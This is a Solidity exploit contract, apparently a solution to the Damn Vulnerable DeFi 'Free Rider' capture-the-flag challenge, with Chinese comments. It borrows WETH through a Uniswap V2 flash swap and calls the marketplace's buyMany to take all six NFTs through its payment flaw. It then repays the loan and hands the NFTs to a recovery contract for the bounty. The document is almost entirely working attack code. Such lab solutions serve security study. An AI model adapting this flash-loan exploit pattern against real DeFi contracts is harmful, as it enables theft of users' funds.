1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol'; import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol'; import "./FreeRiderNFTMarketplace.sol"; import "../DamnValuableToken.sol"; import "../DamnValuableNFT.sol"; import "./FreeRiderRecovery.sol"; import "hardhat/console.sol";
interface IERC20 { function deposit() external payable; function approve(address spender, uint256 amount) external returns (bool); function balanceOf(address account) external returns (uint256); function withdraw(uint256 amount) external; function transfer(address to, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); }
contract FreeRiderHack is IUniswapV2Callee, IERC721Receiver{
IUniswapV2Pair uniswapPair; DamnValuableToken token; IERC20 weth; DamnValuableNFT nft; FreeRiderNFTMarketplace marketplace; FreeRiderRecovery recovery; uint256[] tokens = [0, 1, 2, 3, 4, 5];
constructor( address _uniswapPair, address _token, address _weth, address _nft, address payable _marketplace, address _recovery ) payable { uniswapPair = IUniswapV2Pair(_uniswapPair); token = DamnValuableToken(_token); weth = IERC20(_weth); nft = DamnValuableNFT(_nft); marketplace = FreeRiderNFTMarketplace(_marketplace); recovery = FreeRiderRecovery(_recovery); }
function attack() external payable {
// 因为不确定 token 和 weth 在pair中的顺序,所以先判断 (uint amount0Out, uint amount1Out) = address(token) > address(weth) ? (uint(15 ether), uint(0 ether)) :(uint(0 ether), uint(15 ether));
uniswapPair.swap( amount0Out, amount1Out, address(this), abi.encodeWithSignature("buyMany(uint256[])", tokens));
/** 此时 hacker 成为了 tokens 的拥有者, 且不欠 uniswapPair的钱 */
// 兑换赏金 for (uint256 i = 0; i < tokens.length; i++) { nft.safeTransferFrom( address(this), address(recovery), tokens[i], // 此处为了呼应 payable(abi.decode(_data, (address))).sendValue(PRIZE); abi.encode(msg.sender)); } }
function uniswapV2Call(address, uint , uint , bytes calldata data) external {
// 记录hacker手中的ETH --- 15 ether uint amountETH = weth.balanceOf(address(this)); // 将WETH换成ETH weth.withdraw(amountETH); // 调用 buyMany 函数 address(marketplace).call{value: amountETH}(data);
// 将手中的 ETH换成WETH, 并还回去 // woc 这里还要支付 0.3% 的手续费!!! 也就是 0.045 uint repayAmount = amountETH * 1004 / 1000;
weth.deposit{value: repayAmount}(); weth.transfer(address(uniswapPair), repayAmount); }
function onERC721Received( address , address , uint256 , bytes calldata ) external returns (bytes4){ return IERC721Receiver.onERC721Received.selector; }
receive() external payable {}
}
|